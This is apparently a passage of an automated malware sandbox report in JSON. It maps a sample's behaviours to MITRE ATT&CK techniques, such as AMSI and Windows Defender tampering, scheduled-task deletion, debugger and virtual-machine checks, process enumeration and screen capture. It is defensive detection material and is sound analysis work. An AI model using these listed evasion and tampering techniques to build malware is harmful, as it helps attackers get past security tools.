Tools","attack_id":"T1685","attack_id_wiki":"https://attack.mitre.org/techniques/T1685","identifiers":[{"type":"informative","value":"Contains strings related to AMSI (Anti Malware Scan Interface)"},{"type":"informative","value":"Modifies process error mode to suppress error dialogs"},{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"malicious","value":"Tries to delete scheduled tasks"},{"type":"suspicious","value":"Able to delete scheduled task(s)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Defense Impairment","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"tactic":"Stealth","technique":"Stripped Payloads","attack_id":"T1027.008","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/008","identifiers":[{"type":"suspicious","value":"PE file has no resource directory"}],"sources":[{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Execution","technique":"Component Object Model","attack_id":"T1559.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1559/001","identifiers":[{"type":"malicious","value":"Loads the task scheduler COM API"}],"sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Command and Control","technique":"Proxy","attack_id":"T1090","attack_id_wiki":"https://attack.mitre.org/techniques/T1090","identifiers":[{"type":"informative","value":"Contains references to RPC protocol sequence strings"}],"sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Clear Persistence","attack_id":"T1070.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/009","sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"tactic":"Stealth","technique":"Indicator Removal","attack_id":"T1070","attack_id_wiki":"https://attack.mitre.org/techniques/T1070","identifiers":[{"type":"suspicious","value":"Deletes registry keys"}],"sources":[{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]}],"sandbox_signatures":[{"level":"informative","category":"General","name":"Contains ability to execute Windows APIs","description":"$36","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-101","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to create directories (API string)","description":"Found reference to API \"CreateDirectoryW\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\"), Found reference to API \"CreateDirectory\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to show a graphical window (API string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-208","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve/modify process thread (API string)","description":"Found reference to API \"Tcl_CreateThread\" (Indicator: \"CreateThread\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-161","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Able to retrieve/open a process (API string)","description":"Found reference to API \"GetProcessHeap\" (Indicator: \"GetProcessHeap\"; Source: \"sample.bin\"), Found reference to API \"OpenProcess\" (Indicator: \"OpenProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-272","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileW\" (Indicator: \"CreateFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-315","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\"), Found reference to API \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessW\" (Indicator: \"CreateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-204","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; Source: \"sample.bin\"), Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-308","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify the user configuration/privilege (API string)","description":"Found reference to API \"SystemParametersInfoW\" (Indicator: \"SystemParametersInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1098","id":"string-132","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"CorExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\"), Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\"), Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-114","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-107","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileSizeEx\" (Indicator: \"GetFileSize\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentDirectoryW\" (Indicator: \"GetCurrentDirectory\"; Source: \"sample.bin\"), Found reference to API \"GetTempPathW\" (Indicator: \"GetTempPath\"; Source: \"sample.bin\"), Found reference to API \"GetFileAttributesExW\" (Indicator: \"GetFileAttributes\"; Source: \"sample.bin\"), Found reference to API \"GetFileInformationByHandle\" (Indicator: \"GetFileInformationByHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"Process32FirstW\" (Indicator: \"Process32First\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcessId\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API \"CreateToolhelp32Snapshot\" (Indicator: \"CreateToolhelp32Snapshot\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\"), Found reference to API \"GetEnvironmentStringsW\" (Indicator: \"GetEnvironmentStrings\"; Source: \"sample.bin\"), Found reference to API \"Process32NextW\" (Indicator: \"Process32Next\"; Source: \"sample.bin\"), Found reference to API \"K32EnumProcessModules\" (Indicator: \"EnumProcessModules\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve logical drive information (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveType\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-80","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\"), Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"sample.bin\"), Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-83","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1033","id":"string-121","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"Found reference to API \"GetDC\" (Indicator: \"GetDC\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1113","id":"string-78","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"K32GetModuleFileNameExW\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\"), Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-164","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the specified system metric or system configuration setting (API string)","description":"Found reference to API \"GetSystemMetrics\" (Indicator: \"GetSystemMetrics\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-131","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate disk drives (API string)","description":"Found reference to API \"GetDriveTypeW\" (Indicator: \"GetDriveTypeW\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1680","id":"string-998","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine timezone (API string)","description":"Found reference to API \"GetTimeZoneInformation\" (Indicator: \"GetTimeZoneInformation\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1124","id":"string-248","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the contents of the STARTUPINFO structure (API string)","description":"Found reference to API \"GetStartupInfoW\" (Indicator: \"GetStartupInfo\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1543","id":"string-167","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"Found reference to API \"SendMessageW\" (Indicator: \"sendmessage\"; Source: \"sample.bin\"), Found reference to API \"PostMessageW\" (Indicator: \"postmessage\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.015","id":"string-721","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve file time (API string)","description":"Found reference to API \"FileTimeToSystemTime\" (Indicator: \"FileTimeToSystemTime\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.006","id":"string-249","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetEnvironmentStringsW\" in \"sample.bin\", Found system information discovery API: \"ExpandEnvironmentStringsW\" in \"sample.bin\", Found system information discovery API: \"GetMonitorInfoW\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-89","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"sample.bin\"), Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\"), Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"Tcl_GetVersion\" (Indicator: \"GetVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-171","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; Source: \"sample.bin\"), Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; Source: \"sample.bin\"), Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-148","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; Source: \"sample.bin\"), Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1622","id":"string-183","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"Tcl_CreateThread\" (Indicator: \"CreateThread\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055","id":"string-92","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"QueryPerformanceFrequency\" (Indicator: \"QueryPerformanceFrequency\"; Source: \"sample.bin\"), Found reference to API \"MsgWaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; Source: \"sample.bin\"), Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; Source: \"sample.bin\"), Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTimeAsFileTime\"; Source: \"sample.bin\"), Found reference to API \"WaitForSingleObject\" (Indicator: \"WaitForSingleObject\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"FreeLibrary\" (Indicator: \"FreeLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-306","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Contains ability to create/connect to a named pipe (API string)","description":"Found reference to API \"PeekNamedPipe\" (Indicator: \"PeekNamedPipe\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1559","id":"string-210","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"yl.cr\", Pattern match: \"http://schemas.microsoft.com/smi/2016/windowssettings\", Heuristic match: \"%s%c%s.py\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\"), Found reference to API \"LoadLibrary\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to compress/decompress content at runtime","description":"$37","origin":"File/Memory","mitre_attack_id":"T1560.002","relevance":1,"id":"string-935","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to modify thread functionality – possible hijack (API string)","description":"Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; File: \"bot.exe\")\n Found reference to API \"ResumeThread\" (Indicator: \"ResumeThread\"; Source: \"00000000-00002724.00000000.171515.B9978000.00000002.mdmp, 00000000-00002724.00000002.175358.ABA95000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.003","relevance":3,"id":"string-309","sources":[{"report_type":"sandbox","report_id":"6aede49d7bd8e16d02066b6c"},{"report_type":"sandbox","report_id":"6aede6c2ed9afb596f058d23"},{"report_type":"sandbox","report_id":"6aede65299b868ea5a0c766f"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Calls an API typically used to remove a directory","description":"$38","origin":"API 